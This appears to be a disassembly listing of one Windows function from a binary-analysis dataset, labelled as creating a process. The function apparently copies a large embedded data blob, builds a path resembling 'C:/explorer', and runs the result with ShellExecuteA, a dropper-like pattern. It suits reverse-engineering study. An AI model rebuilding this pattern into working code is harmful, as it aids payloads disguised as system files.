Function at 0x18000f990
Capabilities:
Create process on windows

Disassembly:
push rbp
push rsi
sub rsp, 0x108
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x80], 0xfffffffffffffffe
movzx eax, byte [0x183663fb0]
mov rcx, qword [0x183663f48]
test rcx, rcx
jne 0x18000f9d8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x18000fbb1
mov rcx, rax
mov qword [0x183663f48], rax
mov r8d, 0xd
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x18000fbb1
movabs rcx, 0x69777265726f6c70
mov qword [rax + 5], rcx
movabs rcx, 0x6f6c7078652f3a43
mov qword [rbp + 0x60], rax
mov qword [rax], rcx
lea rdx, [0x180060e86]
lea rcx, [rbp - 0x10]
mov r8d, 0x1a
call fcn.180024a20
cmp dword [rbp - 0x10], 2
jne 0x18000facf
mov rcx, qword [rbp - 8]
call fcn.18000e470
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x50], 1
mov qword [rbp + 0x58], 0
mov byte [rbp + 0x7f], 1
lea rcx, [rbp + 0x48]
mov r8d, 0x35f15ae
xor edx, edx
call fcn.18005a650
mov rsi, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x50]
add rcx, rsi
lea rdx, [0x180060ea0]
mov r8d, 0x35f15ae
call sub.VCRUNTIME140.dll_memcpy
add rsi, 0x35f15ae
mov qword [rbp + 0x58], rsi
mov qword [rbp], rsi
movups xmm0, xmmword [rbp + 0x48]
movaps xmmword [rbp - 0x10], xmm0
mov qword [rbp + 8], 0
mov byte [rbp + 0x7f], 0
lea rcx, [rbp - 0x50]
lea rdx, [rbp - 0x10]
mov r9d, 0xd
mov r8, qword [rbp + 0x60]
call int.180001000
movabs rax, 0x8000000000000002
cmp qword [rbp - 0x30], rax
jne 0x18000fc37
lea rdx, [0x183652470]
lea rcx, [rbp - 0x50]
mov r8d, 4
call fcn.180008aa0
movabs rsi, 0x8000000000000000
cmp qword [rbp - 0x50], rsi
jne 0x18000fbc0
mov rax, qword [rbp - 0x48]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x38], rax
lea rdx, [0x180060e86]
lea rcx, [rbp - 0x50]
mov r8d, 0x1a
call fcn.180008aa0
cmp qword [rbp - 0x50], rsi
jne 0x18000fbfd
mov r8, qword [rbp - 0x48]
mov rax, qword [rbp - 0x40]
mov qword [rbp + 0x40], rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, qword [rbp + 0x70]
mov qword [rbp + 0x68], r8
xor r9d, r9d
call sub.SHELL32.dll_ShellExecuteA
mov r8, qword [rbp + 0x68]
mov byte [r8], 0
cmp qword [rbp + 0x40], 0
je 0x18000fb76
mov rcx, qword [0x183663f48]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, qword [rbp + 0x70]
mov byte [r8], 0
cmp qword [rbp + 0x38], 0
je 0x18000fb94
mov rcx, qword [0x183663f48]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x183663f48]
xor edx, edx
mov r8, qword [rbp + 0x60]
add rsp, 0x108
pop rsi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 1
mov edx, 0xd
call fcn.180059180
movups xmm0, xmmword [rbp - 0x50]
movups xmm1, xmmword [rbp - 0x40]
movaps xmmword [rbp], xmm1
movaps xmmword [rbp - 0x10], xmm0
lea rax, [0x183652488]
mov qword [rsp + 0x20], rax
lea rcx, [0x183652474]
lea r9, [0x180060e20]
lea r8, [rbp - 0x10]
mov edx, 0x13
call fcn.180059730
jmp 0x18000fc7f
movups xmm0, xmmword [rbp - 0x50]
movups xmm1, xmmword [rbp - 0x40]
movaps xmmword [rbp], xmm1
movaps xmmword [rbp - 0x10], xmm0
lea rax, [0x1836524a0]
mov qword [rsp + 0x20], rax
lea rcx, [0x183652474]
lea r9, [0x180060e20]
lea r8, [rbp - 0x10]
mov edx, 0x13
call fcn.180059730
jmp 0x18000fc7f
movups xmm0, xmmword [rbp - 0x50]
movups xmm1, xmmword [rbp - 0x40]
movups xmm2, xmmword [rbp - 0x30]
movups xmm3, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x20], xmm3
movaps xmmword [rbp + 0x10], xmm2
movaps xmmword [rbp], xmm1
movaps xmmword [rbp - 0x10], xmm0
lea rax, [0x183652458]
mov qword [rsp + 0x20], rax
lea rcx, [0x183656bc0]
lea r9, fcn.18000fe60
lea r8, [rbp - 0x10]
mov edx, 0x2b
call fcn.180059730
ud2